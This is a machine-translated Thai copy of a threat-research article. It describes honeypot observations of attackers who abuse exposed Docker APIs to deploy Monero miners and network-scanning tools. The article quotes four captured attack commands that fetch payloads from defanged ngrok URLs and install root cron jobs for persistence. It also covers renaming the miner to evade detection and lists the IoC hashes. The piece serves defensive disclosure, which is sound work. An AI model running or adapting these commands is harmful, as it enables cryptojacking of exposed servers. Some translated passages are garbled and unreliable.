วิธีการใช้ Docker API ที่ไม่ใช่กรรมสิทธิ์และรูปภาพสาธารณะจากชุมชนเพื่อแจกจ่ายนักขุดสกุลเงินดิจิทัล

วิธีการใช้ Docker API ที่ไม่ใช่กรรมสิทธิ์และรูปภาพสาธารณะจากชุมชนเพื่อแจกจ่ายนักขุดสกุลเงินดิจิทัล

เราวิเคราะห์ข้อมูลที่รวบรวมโดยใช้คอนเทนเนอร์ Honeypot ซึ่งเราสร้างขึ้นเพื่อติดตามภัยคุกคาม และเราตรวจพบกิจกรรมที่สำคัญจากนักขุดสกุลเงินดิจิทัลที่ไม่พึงประสงค์หรือไม่ได้รับอนุญาตซึ่งนำไปใช้เป็นคอนเทนเนอร์อันธพาลโดยใช้รูปภาพที่เผยแพร่โดยชุมชนบน Docker Hub รูปภาพนี้ใช้เป็นส่วนหนึ่งของบริการที่ส่งผู้ขุดเหมือง cryptocurrency ที่เป็นอันตราย

นอกจากนี้ยังมีการติดตั้งโปรแกรมสำหรับการทำงานกับเครือข่ายเพื่อเจาะคอนเทนเนอร์และแอปพลิเคชันที่เปิดอยู่ใกล้เคียง

เราปล่อยให้ honeypots ของเราเหมือนเดิม นั่นคือ ด้วยการตั้งค่าเริ่มต้น โดยไม่มีมาตรการรักษาความปลอดภัยหรือการติดตั้งซอฟต์แวร์เพิ่มเติมในภายหลัง โปรดทราบว่า Docker มีคำแนะนำสำหรับการตั้งค่าเริ่มต้นเพื่อหลีกเลี่ยงข้อผิดพลาดและช่องโหว่ทั่วไป แต่ฮันนีพอทที่ใช้นั้นเป็นคอนเทนเนอร์ที่ออกแบบมาเพื่อตรวจจับการโจมตีที่มุ่งเป้าไปที่แพลตฟอร์มคอนเทนเนอร์ ไม่ใช่แอปพลิเคชันภายในคอนเทนเนอร์

กิจกรรมที่เป็นอันตรายที่ตรวจพบนั้นมีความโดดเด่นเช่นกัน เนื่องจากไม่ต้องการช่องโหว่และไม่ขึ้นอยู่กับเวอร์ชัน Docker การค้นหาคอนเทนเนอร์อิมเมจที่กำหนดค่าไม่ถูกต้องและเปิดอยู่ เป็นสิ่งที่ผู้โจมตีต้องการเพื่อทำให้เซิร์ฟเวอร์เปิดจำนวนมากติดไวรัส

Docker API ที่ไม่ปิดทำให้ผู้ใช้สามารถดำเนินการได้หลากหลาย ทีมรวมถึงการรับรายการคอนเทนเนอร์ที่ทำงานอยู่ รับบันทึกจากคอนเทนเนอร์เฉพาะ การเริ่มต้น การหยุด (รวมถึงการบังคับ) และแม้แต่การสร้างคอนเทนเนอร์ใหม่จากอิมเมจเฉพาะด้วยการตั้งค่าที่ระบุ

วิธีการใช้ Docker API ที่ไม่ใช่กรรมสิทธิ์และรูปภาพสาธารณะจากชุมชนเพื่อแจกจ่ายนักขุดสกุลเงินดิจิทัล
ด้านซ้ายคือวิธีการส่งมัลแวร์ ทางด้านขวาคือสภาพแวดล้อมของผู้โจมตี ซึ่งช่วยให้สามารถเผยแพร่รูปภาพจากระยะไกลได้

วิธีการใช้ Docker API ที่ไม่ใช่กรรมสิทธิ์และรูปภาพสาธารณะจากชุมชนเพื่อแจกจ่ายนักขุดสกุลเงินดิจิทัล
จัดจำหน่ายตามประเทศที่มี Open Docker API จำนวน 3762 รายการ อ้างอิงจากการค้นหา Shodan ลงวันที่ 12.02.2019/XNUMX/XNUMX

ตัวเลือกห่วงโซ่การโจมตีและน้ำหนักบรรทุก

กิจกรรมที่เป็นอันตรายถูกตรวจพบไม่เพียงแต่ด้วยความช่วยเหลือของฮันนี่พอตเท่านั้น ข้อมูลจาก Shodan แสดงให้เห็นว่าจำนวน Docker API ที่เปิดเผย (ดูกราฟที่สอง) เพิ่มขึ้นเนื่องจากเราตรวจสอบคอนเทนเนอร์ที่กำหนดค่าไม่ถูกต้องซึ่งใช้เป็นบริดจ์ในการปรับใช้ซอฟต์แวร์การขุดสกุลเงินดิจิทัล Monero ในเดือนตุลาคมปีที่แล้ว (2018 ข้อมูลปัจจุบัน คุณสามารถมีลักษณะเช่นนี้ ประมาณ นักแปล) มี API แบบเปิดเพียง 856 รายการ

การตรวจสอบบันทึกของ honeypot แสดงให้เห็นว่าการใช้อิมเมจคอนเทนเนอร์ก็เกี่ยวข้องกับการใช้เช่นกัน งรกซึ่งเป็นเครื่องมือสำหรับสร้างการเชื่อมต่อที่ปลอดภัยหรือการส่งต่อการรับส่งข้อมูลจากจุดที่สาธารณะเข้าถึงได้ไปยังที่อยู่หรือทรัพยากรที่ระบุ (เช่น localhost) ซึ่งช่วยให้ผู้โจมตีสามารถสร้าง URL แบบไดนามิกเมื่อส่งข้อมูลเพย์โหลดไปยังเซิร์ฟเวอร์เปิด ด้านล่างนี้คือตัวอย่างโค้ดจากบันทึกที่แสดงการละเมิดบริการ ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

อย่างที่คุณเห็น ไฟล์ที่อัปโหลดจะถูกดาวน์โหลดจาก URL ที่เปลี่ยนแปลงตลอดเวลา URL เหล่านี้มีวันหมดอายุสั้น ดังนั้นเพย์โหลดจึงไม่สามารถดาวน์โหลดได้หลังจากวันหมดอายุ

มีสองตัวเลือกเพย์โหลด อย่างแรกคือการคอมไพล์ ELF miner สำหรับ Linux (กำหนดเป็น Coinminer.SH.MALXMR.ATNO) ที่เชื่อมต่อกับพูลการขุด อย่างที่สองคือสคริปต์ (TrojanSpy.SH.ZNETMAP.A) ที่ออกแบบมาเพื่อรับเครื่องมือเครือข่ายบางอย่างที่ใช้ในการสแกนช่วงเครือข่ายแล้วค้นหาเป้าหมายใหม่

สคริปต์หยดจะตั้งค่าตัวแปรสองตัว ซึ่งจะใช้ในการปรับใช้ตัวขุดสกุลเงินดิจิทัล ตัวแปร HOST ประกอบด้วย URL ที่มีไฟล์ที่เป็นอันตรายอยู่ และตัวแปร RIP คือชื่อไฟล์ (อันที่จริงคือแฮช) ของตัวขุดที่จะนำไปใช้ ตัวแปร HOST เปลี่ยนแปลงทุกครั้งที่ตัวแปรแฮชเปลี่ยนแปลง สคริปต์ยังพยายามตรวจสอบว่าไม่มีนักขุดสกุลเงินดิจิทัลรายอื่นที่ทำงานบนเซิร์ฟเวอร์ที่ถูกโจมตี

วิธีการใช้ Docker API ที่ไม่ใช่กรรมสิทธิ์และรูปภาพสาธารณะจากชุมชนเพื่อแจกจ่ายนักขุดสกุลเงินดิจิทัล
ตัวอย่างของตัวแปร HOST และ RIP รวมถึงข้อมูลโค้ดที่ใช้ในการตรวจสอบว่าไม่มีคนงานเหมืองรายอื่นกำลังทำงานอยู่

ก่อนที่จะเริ่มขุดเหมืองจะถูกเปลี่ยนชื่อเป็น nginx สคริปต์เวอร์ชันอื่นๆ จะเปลี่ยนชื่อ miner เป็นบริการที่ถูกต้องตามกฎหมายอื่นๆ ที่อาจมีอยู่ในสภาพแวดล้อม Linux ซึ่งโดยปกติจะเพียงพอที่จะข้ามการตรวจสอบกับรายการกระบวนการที่กำลังทำงานอยู่

สคริปต์การค้นหายังมีคุณสมบัติต่างๆ ทำงานร่วมกับบริการ URL เดียวกันเพื่อปรับใช้เครื่องมือที่จำเป็น หนึ่งในนั้นคือไบนารี zmap ซึ่งใช้ในการสแกนเครือข่ายและรับรายการพอร์ตที่เปิดอยู่ สคริปต์ยังโหลดไบนารีอื่นที่ใช้ในการโต้ตอบกับบริการที่พบและรับแบนเนอร์จากบริการเหล่านั้นเพื่อกำหนดข้อมูลเพิ่มเติมเกี่ยวกับบริการที่พบ (เช่น เวอร์ชัน)

สคริปต์ยังกำหนดช่วงเครือข่ายบางช่วงไว้ล่วงหน้าที่จะสแกนด้วย แต่ทั้งนี้ขึ้นอยู่กับเวอร์ชันของสคริปต์ นอกจากนี้ยังตั้งค่าพอร์ตเป้าหมายจากบริการต่างๆ — ในกรณีนี้คือ Docker — ก่อนที่จะทำการสแกน

ทันทีที่พบเป้าหมายที่เป็นไปได้ แบนเนอร์จะถูกลบออกจากเป้าหมายโดยอัตโนมัติ สคริปต์ยังกรองเป้าหมายโดยขึ้นอยู่กับบริการ แอปพลิเคชัน ส่วนประกอบหรือแพลตฟอร์มที่สนใจ: Redis, Jenkins, Drupal, MODX, Kubernetes มาสเตอร์, ไคลเอ็นต์ Docker 1.16 และ Apache CouchDB หากเซิร์ฟเวอร์ที่สแกนตรงกับเซิร์ฟเวอร์ใดเซิร์ฟเวอร์หนึ่ง เซิร์ฟเวอร์นั้นจะถูกบันทึกเป็นไฟล์ข้อความ ซึ่งผู้โจมตีสามารถใช้เพื่อการวิเคราะห์และแฮ็กในภายหลังได้ ไฟล์ข้อความเหล่านี้ถูกอัปโหลดไปยังเซิร์ฟเวอร์ของผู้โจมตีผ่านลิงก์แบบไดนามิก นั่นคือ แต่ละไฟล์จะใช้ URL แยกกัน ซึ่งหมายความว่าการเข้าถึงในภายหลังเป็นเรื่องยาก

เวกเตอร์การโจมตีคืออิมเมจ Docker ดังที่เห็นได้ในโค้ดสองชิ้นถัดไป

วิธีการใช้ Docker API ที่ไม่ใช่กรรมสิทธิ์และรูปภาพสาธารณะจากชุมชนเพื่อแจกจ่ายนักขุดสกุลเงินดิจิทัล
ที่ด้านบนเป็นการเปลี่ยนชื่อเป็นบริการที่ถูกกฎหมาย และที่ด้านล่างคือวิธีที่ zmap ใช้ในการสแกนเครือข่าย

วิธีการใช้ Docker API ที่ไม่ใช่กรรมสิทธิ์และรูปภาพสาธารณะจากชุมชนเพื่อแจกจ่ายนักขุดสกุลเงินดิจิทัล
ที่ด้านบนคือช่วงเครือข่ายที่กำหนดไว้ล่วงหน้า ที่ด้านล่างคือพอร์ตเฉพาะสำหรับการค้นหาบริการ รวมถึง Docker

วิธีการใช้ Docker API ที่ไม่ใช่กรรมสิทธิ์และรูปภาพสาธารณะจากชุมชนเพื่อแจกจ่ายนักขุดสกุลเงินดิจิทัล
ภาพหน้าจอแสดงให้เห็นว่ามีการดาวน์โหลดรูปภาพ Alpine-Curl มากกว่า 10 ล้านครั้ง

คุณสามารถสร้างได้โดยใช้ Alpine Linux และ curl ซึ่งเป็นเครื่องมือ CLI ที่ประหยัดทรัพยากรสำหรับการถ่ายโอนไฟล์ผ่านโปรโตคอลต่างๆ ภาพนักเทียบท่า. อย่างที่คุณเห็นในภาพก่อนหน้า ภาพนี้ถูกดาวน์โหลดไปแล้วมากกว่า 10 ล้านครั้ง การดาวน์โหลดจำนวนมากอาจหมายถึงการใช้รูปภาพนี้เป็นจุดเริ่มต้น รูปภาพนี้อัปเดตมานานกว่าหกเดือนแล้ว ผู้ใช้ไม่ได้ดาวน์โหลดรูปภาพอื่นจากที่เก็บนี้บ่อยนัก ในนักเทียบท่า จุดเริ่มต้น - ชุดคำสั่งที่ใช้ในการกำหนดค่าคอนเทนเนอร์ให้รัน หากการตั้งค่าจุดเริ่มต้นไม่ถูกต้อง (เช่น คอนเทนเนอร์ถูกเปิดทิ้งไว้จากอินเทอร์เน็ต) รูปภาพสามารถใช้เป็นเวกเตอร์การโจมตีได้ ผู้โจมตีสามารถใช้เพื่อส่งเพย์โหลดได้ หากพบว่าคอนเทนเนอร์ที่กำหนดค่าไม่ถูกต้องหรือเปิดอยู่ไม่ได้รับการสนับสนุน

สิ่งสำคัญคือต้องทราบว่ารูปภาพนี้ (alpine-curl) นั้นไม่ได้เป็นอันตราย แต่อย่างที่คุณเห็นด้านบน สามารถใช้เพื่อทำหน้าที่ที่เป็นอันตรายได้ อิมเมจ Docker ที่คล้ายกันสามารถใช้เพื่อทำกิจกรรมที่เป็นอันตรายได้ เราได้ติดต่อ Docker และทำงานร่วมกับพวกเขาเกี่ยวกับปัญหานี้

แนะนำ

การตั้งค่าไม่ถูกต้อง ซากศพ ปัญหาอย่างต่อเนื่อง สำหรับหลายๆ บริษัท โดยเฉพาะบริษัทที่ดำเนินการ DevOpsเน้นการพัฒนาและส่งมอบอย่างรวดเร็ว ทุกอย่างเลวร้ายลงจากความจำเป็นในการปฏิบัติตามกฎการตรวจสอบและการตรวจสอบ ความจำเป็นในการตรวจสอบการรักษาความลับของข้อมูล รวมถึงความเสียหายมหาศาลจากการไม่ปฏิบัติตามกฎเหล่านั้น การรวมระบบรักษาความปลอดภัยอัตโนมัติเข้ากับวงจรการพัฒนาไม่เพียงช่วยให้คุณพบช่องโหว่ด้านความปลอดภัยที่อาจตรวจไม่พบเท่านั้น แต่ยังช่วยลดภาระงานที่ไม่จำเป็น เช่น การเรียกใช้ซอฟต์แวร์บิวด์เพิ่มเติมสำหรับแต่ละช่องโหว่ที่ค้นพบหรือการกำหนดค่าที่ไม่ถูกต้องหลังจากปรับใช้แอปพลิเคชัน

เหตุการณ์ที่กล่าวถึงในบทความนี้เน้นย้ำถึงความจำเป็นที่ต้องคำนึงถึงความปลอดภัยตั้งแต่เริ่มต้น รวมถึงคำแนะนำต่อไปนี้:

  • สำหรับผู้ดูแลระบบและนักพัฒนา: ตรวจสอบการตั้งค่า API ของคุณเสมอเพื่อให้แน่ใจว่าทุกอย่างได้รับการกำหนดค่าให้ยอมรับเฉพาะคำขอจากเซิร์ฟเวอร์หรือเครือข่ายภายในที่ระบุเท่านั้น
  • ปฏิบัติตามหลักการของสิทธิ์ขั้นต่ำ: ตรวจสอบให้แน่ใจว่าอิมเมจคอนเทนเนอร์ได้รับการลงนามและตรวจสอบแล้ว จำกัดการเข้าถึงส่วนประกอบที่สำคัญ (บริการเปิดตัวคอนเทนเนอร์) และเพิ่มการเข้ารหัสในการเชื่อมต่อเครือข่าย
  • ติดตาม คำแนะนำ และเปิดใช้กลไกการรักษาความปลอดภัย เช่น จากนักเทียบท่า และบิวท์อิน คุณลักษณะด้านความปลอดภัย.
  • ใช้การสแกนรันไทม์และรูปภาพอัตโนมัติเพื่อรับข้อมูลเพิ่มเติมเกี่ยวกับกระบวนการที่ทำงานในคอนเทนเนอร์ (เช่น เพื่อตรวจจับการปลอมแปลงหรือค้นหาช่องโหว่) การควบคุมแอปพลิเคชันและการตรวจสอบความสมบูรณ์ช่วยติดตามการเปลี่ยนแปลงที่ผิดปกติในเซิร์ฟเวอร์ ไฟล์ และพื้นที่ระบบ

Trendmicro ช่วยให้ทีม DevOps สร้างได้อย่างปลอดภัย เปิดตัวอย่างรวดเร็ว และเปิดใช้งานได้ทุกที่ เทรนด์ไมโคร ความปลอดภัยบนคลาวด์แบบไฮบริด มอบการรักษาความปลอดภัยที่มีประสิทธิภาพ คล่องตัว และเป็นอัตโนมัติทั่วทั้งไปป์ไลน์ DevOps ขององค์กร และให้การป้องกันภัยคุกคามที่หลากหลาย เอ็กซ์เจน เพื่อปกป้องปริมาณงานทางกายภาพ เสมือน และคลาวด์ ณ รันไทม์ อีกทั้งยังเพิ่มความปลอดภัยให้กับคอนเทนเนอร์ด้วย การรักษาความปลอดภัยเชิงลึก и การตรวจสอบความปลอดภัยอย่างชาญฉลาดซึ่งจะสแกนอิมเมจคอนเทนเนอร์ Docker เพื่อหามัลแวร์และช่องโหว่ ณ จุดใดก็ได้ในไปป์ไลน์การพัฒนา เพื่อป้องกันภัยคุกคามก่อนที่จะนำไปใช้งาน

สัญญาณของการประนีประนอม

แฮชที่เกี่ยวข้อง:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

На หลักสูตรวิดีโอนักเทียบท่า ผู้บรรยายฝึกหัดจะแสดงการตั้งค่าที่ต้องทำก่อนเพื่อลดโอกาสหรือหลีกเลี่ยงไม่ให้สถานการณ์ที่อธิบายไว้ข้างต้นเกิดขึ้นโดยสิ้นเชิง และในวันที่ 19-21 สิงหาคมนี้ ทางออนไลน์แบบเข้มข้น เครื่องมือ DevOps และกลโกง คุณสามารถหารือเกี่ยวกับปัญหาด้านความปลอดภัยเหล่านี้และที่คล้ายกันกับเพื่อนร่วมงานและครูฝึกหัดที่โต๊ะกลม ซึ่งทุกคนสามารถพูดและฟังความเจ็บปวดและความสำเร็จของเพื่อนร่วมงานที่มีประสบการณ์

ที่มา: will.com

เพิ่มความคิดเห็น